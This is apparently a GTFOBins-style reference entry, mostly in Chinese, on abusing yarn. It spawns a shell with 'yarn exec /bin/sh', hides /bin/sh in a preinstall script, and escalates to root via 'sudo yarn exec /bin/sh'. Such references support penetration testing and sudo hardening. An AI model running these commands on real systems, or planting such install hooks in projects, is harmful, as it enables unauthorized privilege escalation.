shell

用来生成一个交互式的系统shell。

```
yarn exec /bin/sh
```
Additionally, arbitrary script names can be used in place of preinstall and triggered by name with, e.g., yarn --cwd $TF run preinstall.
```
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
yarn --cwd $TF install
```

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

```
sudo yarn exec /bin/sh
```
